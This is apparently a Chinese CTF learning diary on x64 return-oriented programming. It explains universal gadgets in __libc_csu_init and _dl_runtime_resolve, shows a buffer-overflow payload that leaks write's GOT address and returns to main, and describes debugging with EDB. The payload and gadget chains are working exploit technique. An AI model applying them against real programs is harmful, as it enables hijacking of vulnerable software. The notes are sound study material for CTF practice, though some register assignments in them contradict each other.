day 9 for CTF
x64的机器下,调用函数常常需要gadget来设置参数,如果ROPgadget工具并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢?
其实在x64下有一些万能的gadgets可以利用。
一、来自__ libc_ csu_ init()的通用gadgets
一般来说,只要程序调用了libc.so[大多程序都会默认调用这个库],程序都会有__libc_csu_init()这个函数[位于程序的.text节,NO PIE时,地址不变]用来对libc进行初始化操作。
libc.so库文件有很多的库函数,通过IDA反汇编在Function window窗口就可以看到【比如exit,execve,strlen,fprintf,malloc,free,isdigit,isalpha等等】。
用objdump -d ./level5观察一下__ libc_ csu_ init()这个函数。
我们可以看到利用0x4006aa处的代码我们可以控制通过布置栈来设置rbx,rbp,r12,r13,r14和r15的值,随后利用0x400690处的代码我们将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx* 8]。 这时候只要在前面将rbx的值赋值为0,再构造%r12为要调用的函数地址[很适合GOT表,因为这里是简介调用]。
执行完call qword ptr [r12+rbx*8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址[二次溢出]。
所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。
然后布置56字节的垫板[6个pop,1个pop需深高栈8字节,然后还有一个add $0x8,%rsp,所以需要8*6+8=56字节的栈布置,数据任意。]
4006a6: 48 83 c4 08 add$0x8,%rsp
4006aa: 5b pop%rbx
4006ab: 5d pop%rbp
4006ac: 41 5c pop%r12
4006ae: 41 5d pop%r13
4006b0: 41 5e pop%r14
4006b2: 41 5f pop%r15
具体:
x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中
-
r13 =rdx=arg3
-
r14 =rsi=arg2
-
r15d = edi=arg1[局限在于只能设置32位的值,而非64位的%rdi]
-
r12= call address
1.执行gad1
.text:000000000040089A pop rbx 必须为0 .text:000000000040089B pop rbp 必须为1 .text:000000000040089C pop r12 call!!!! .text:000000000040089E pop r13 arg3 .text:00000000004008A0 pop r14 arg2 .text:00000000004008A2 pop r15 arg1 .text:00000000004008A4 retn ——> to gad2
2.再执行gad2
.text:0000000000400880 mov rdx, r13 .text:0000000000400883 mov rsi, r14 .text:0000000000400886 mov edi, r15d .text:0000000000400889 callqword ptr [r12+rbx*8] call!!! .text:000000000040088D add rbx, 1 .text:0000000000400891 cmp rbx, rbp #为了rbx = rbp,所以rbp必须为1,这样jnz不满足,顺序执行add rsp, 8; 56字节垫板后二次利用。 .text:0000000000400894 jnz short loc_400880 .text:0000000000400896 add rsp, 8 .text:000000000040089A pop rbx .text:000000000040089B pop rbp .text:000000000040089C pop r12 .text:000000000040089E pop r13 .text:00000000004008A0 pop r14 .text:00000000004008A2 pop r15 .text:00000000004008A4 retn ——> 构造一些垫板(7*8=56byte)就返回了
构造通用ROP链
大概思路就是这样,我们下来构造常用的ROP链——泄露write函数的真实地址。
我们先构造payload,利用write()输出write在内存中的地址。注意我们的gadget是call qword ptr [r12+rbx* 8],所以我们应该使用write.got的地址而不是write.plt的地址[write.got得到的是got表中write条目的地址,条目内容才是write函数的真实跳转地址,所以适合call * ]。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把最终的返回值[第二次到达retq时]覆盖成目标函数的main函数为止。
payload1 = "\x00"*136 #paddings
payload1 += p64(0x4006aa) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400690) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56 #垫板paddings
payload1 += p64(main) #二次溢出利用
这样就可以调用write函数,打印出write的函数地址
要注意的是,当我们把程序的io重定向到socket上的时候,根据网络协议,因为发送的数据包过大,read()有时会截断payload,造成payload传输不完整造成攻击失败。这时候要多试几次即可成功。如果进行远程攻击的话,需要保证ping值足够小才行(局域网)
二、EDB——linux下的ollydbg[动态调试]
在linux下也有类似于ollydbg的调试工具,那就是EDB-debugger。
EDB的下载地址,具体的编译请参考readme:EDB-debugger
具体依赖库及安装过程,For Ubuntu >= 15.10
# install dependencies
sudo apt-get install \
cmake \
build-essential\
libboost-dev \
libqt5xmlpatterns5-dev \
qtbase5-dev\
qt5-default\
libqt5svg5-dev \
libgraphviz-dev\
libcapstone-dev
# build and run edb
git clone --recursive https://github.com/eteran/edb-debugger.git
cd edb-debugger
mkdir build
cd build
cmake ..
make
./edb
首先是挂载(attach)进程和设置断点(break point)。我们知道当我们在用exp.py脚本进行攻击的时候,脚本会一直运行,我们并没有足够的时间进行挂载操作。想要进行调试的话我们需要让脚本暂停一下,随后再进行挂载。暂停的方法很简单,只需要在脚本中加一句”raw_input()”即可。比如说我们想在发送payload之前暂停一下脚本,只需要这样:
ss = raw_input()
print "\n#############sending payload1#############\n"
p.send(payload1)
这样的话,当脚本运行起来后,就会在raw_input()这一行停下来,等待用户输入。
这时候我们就可以启动EDB进行挂载了。 使用EDB进行挂载非常简单,输入进程名点ok即可[process(‘./test’),本地调试]。
挂载上以后就可以设置断点了。首先在调试窗口按”ctrl + g”就可以跳转到目标地址,我们这里将地址设置为0x4006aa,也就是第一个gadget的地址。
接着我们在0x4006aa这个地址前双击,就可以看到一个红点,说明我们已经成功的下了断点。接着按“F9”或者点击”Run”就可以让程序继续运行[遇到断点停下]了。
虽然程序继续运行了,但是脚本还在继续等待用户的输入,这时候只需要在命令行按一下回车【ss = raw_input()完成输入,raw_input() 用来获取控制台的输入,将所有输入作为字符串看待,返回字符串类型。】,程序就会继续运行,随后会暂停在”0x4006aa”这个断点。
接着我们可以按”F8”或者”F7”进行单步调试,主窗口会显示当前将要执行的指令以及执行后的结果。右边会看到各个寄存器的值。注意,在寄存器(比如说RSP)的值上点击右键,可以选择”follow in dump”,随后就在data dump窗口就能看到这个地址上对应数据是什么了。
除此之外,EDB还支持动态修改内存数据,当你选中数据后,可以右键,选择”Edit Bytes”,就可以对选中的数据进行动态修改。
三、设置第一个参数/第二个参数的gadgets
如一中所述,__ libc_ csu_ init()有一条万能gadgets。
其实不光__ libc_ csu_ init()里的代码可以利用,默认gcc还会有如下自动编译进去的函数可以用来查找gadgets。
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
除此之外在程序执行的过程中,CPU只会关注于%eip指针的地址,并不会关注是否执行了编程者想要达到的效果。因此,通过控制%eip指针跳转到某些经过稍微偏移过的地址会得到意想不到的效果。
(一)还是__ libc_ csu_ init()这个函数的尾部:
在pop %r14的位置偏移1个字节和3个字节得到令人兴奋的指令——可以设置第一个参数和第二个参数。
四、_ dl_ runtime_ resolve()中的gadget
如果我们能得到libc.so或者其他库在内存中的地址,就可以获得到大量的可用的gadgets。 比如: _ dl_ runtime_ resolve()中的gadget可以控制六个64位参数寄存器的值,当我们使用参数比较多的函数的时候(比如mmap和mprotect)就可以派上用场了。
注:_ dl_ runtime_ resolve()的作用在PLT和GOT表的文章中有介绍过,所用是:找到库函数的真实内存地址,并填到对应的GOT表项。
_dl_runtime_resolve函数位于ld.so中,ld.so是linux系统的动态链接器,当应用程序需要使用动态链接库里的函数时,由ld.so负责加载。
如何找到ld.so文件呢?
- 任意一个需要调用到库的二进制文件(调用libc.so也算啊,毕竟都要动态链接)
- 用ldd 二进制文件名:查看用到的.so文件,里面肯定有动态链接库文件,类似于ld-linux-64.so
- 前面有路径,或者直接在computer中搜索
反汇编_ dl_ runtime_ resolve()函数:
0x7ffff7def200 <_dl_runtime_resolve>: sub rsp,0x38
0x7ffff7def204 <_dl_runtime_resolve+4>: mov QWORD PTR [rsp],rax
0x7ffff7def208 <_dl_runtime_resolve+8>: mov QWORD PTR [rsp+0x8],rcx
0x7ffff7def20d <_dl_runtime_resolve+13>:mov QWORD PTR [rsp+0x10],rdx
0x7ffff7def212 <_dl_runtime_resolve+18>:mov QWORD PTR [rsp+0x18],rsi
0x7ffff7def217 <_dl_runtime_resolve+23>:mov QWORD PTR [rsp+0x20],rdi
0x7ffff7def21c <_dl_runtime_resolve+28>:mov QWORD PTR [rsp+0x28],r8
0x7ffff7def221 <_dl_runtime_resolve+33>:mov QWORD PTR [rsp+0x30],r9
0x7ffff7def226 <_dl_runtime_resolve+38>:mov rsi,QWORD PTR [rsp+0x40]
0x7ffff7def22b <_dl_runtime_resolve+43>:mov rdi,QWORD PTR [rsp+0x38]
0x7ffff7def230 <_dl_runtime_resolve+48>:call 0x7ffff7de8680 <_dl_fixup>
0x7ffff7def235 <_dl_runtime_resolve+53>:mov r11,rax
0x7ffff7def238 <_dl_runtime_resolve+56>:mov r9,QWORD PTR [rsp+0x30] #获取栈上的数据
0x7ffff7def23d <_dl_runtime_resolve+61>:mov r8,QWORD PTR [rsp+0x28]
0x7ffff7def242 <_dl_runtime_resolve+66>:mov rdi,QWORD PTR [rsp+0x20]
0x7ffff7def247 <_dl_runtime_resolve+71>:mov rsi,QWORD PTR [rsp+0x18]
0x7ffff7def24c <_dl_runtime_resolve+76>:mov rdx,QWORD PTR [rsp+0x10]
0x7ffff7def251 <_dl_runtime_resolve+81>:mov rcx,QWORD PTR [rsp+0x8]
0x7ffff7def256 <_dl_runtime_resolve+86>:mov rax,QWORD PTR [rsp]
0x7ffff7def25a <_dl_runtime_resolve+90>:add rsp,0x48s
0x7ffff7def25e <_dl_runtime_resolve+94>:jmp r11 #注意这里的jmp,可以用于调用所需函数,但是r11的值取决于rax[上面的mov r11,rax指令]
从0x7ffff7def235开始,就是这个通用gadget的地址了。通过这个gadget我们可以控制rdi,rsi,rdx,rcx, r8,r9的值。
但要注意的是_ dl_ runtime_ resolve()在内存中的地址是随机的。所以我们需要先用information leak得到_ dl_ runtime_ resolve()在内存中的地址。那么_ dl_ runtime_ resolve()的地址被保存在了哪个固定的地址呢?
在前面学习的PLT和GOT表过程中,我们知道我们是通过PLT[X]跳转到PLT[0],再跳转到GOT表中的某一个条目中的内容作为地址,从而调用_ dl_ runtime_ resolve()函数的。使用PLT [0] 去查找某函数[比如这里system/read]在内存中的地址,函数jump过去的地址* 0x600a58其实就是_ dl_ runtime_ resolve()在内存中的地址了【通过PLT[0]间接跳转到GOT表中的一个条目下指定的地址——即_ dl_ runtime_ resolve()函数的地址,从而调用_ dl_ runtime_ resolve()函数】。
所以只要获取到0x600a58这个地址保存的数据,就能够找到_ dl_ runtime_ resolve()在内存中的地址。
gdb-peda$ x/x 0x600a58
0x600a58 <_GLOBAL_OFFSET_TABLE_+16>:0x00007ffff7def200
gdb-peda$ x/21i 0x00007ffff7def200
0x7ffff7def200 <_dl_runtime_resolve>:subrsp,0x38
0x7ffff7def204 <_dl_runtime_resolve+4>: mov QWORD PTR [rsp],rax
0x7ffff7def208 <_dl_runtime_resolve+8>: mov QWORD PTR [rsp+0x8],rcx
0x7ffff7def20d <_dl_runtime_resolve+13>: mov QWORD PTR [rsp+0x10],rdx
….
另一个要注意的是,想要利用这个gadget,我们还需要控制rax的值,因为gadget是通过rax跳转的[看上面完整的gadgets代码就知道]:
0x7ffff7def235 <_dl_runtime_resolve+53>:movr11,rax
……
0x7ffff7def25e <_dl_runtime_resolve+94>:jmpr11
所以我们接下来用ROPgadget查找一下libc.so中控制rax的gadget:
ROPgadget –binary libc.so.6 –only “pop ret” grep “rax”
0x000000000001f076 : pop rax ; pop rbx ; pop rbp ; ret
0x0000000000023950 : pop rax ; ret
0x000000000019176e : pop rax ; ret 0xffed
0x0000000000123504 : pop rax ; ret 0xfff0
0x0000000000023950刚好符合我们的要求。有了pop rax和_dl_ runtime_ resolve这两个gadgets,我们就可以很轻松的调用想要的调用的函数了。
未完待续!!!
参考链接:http://www.vuln.cn/6643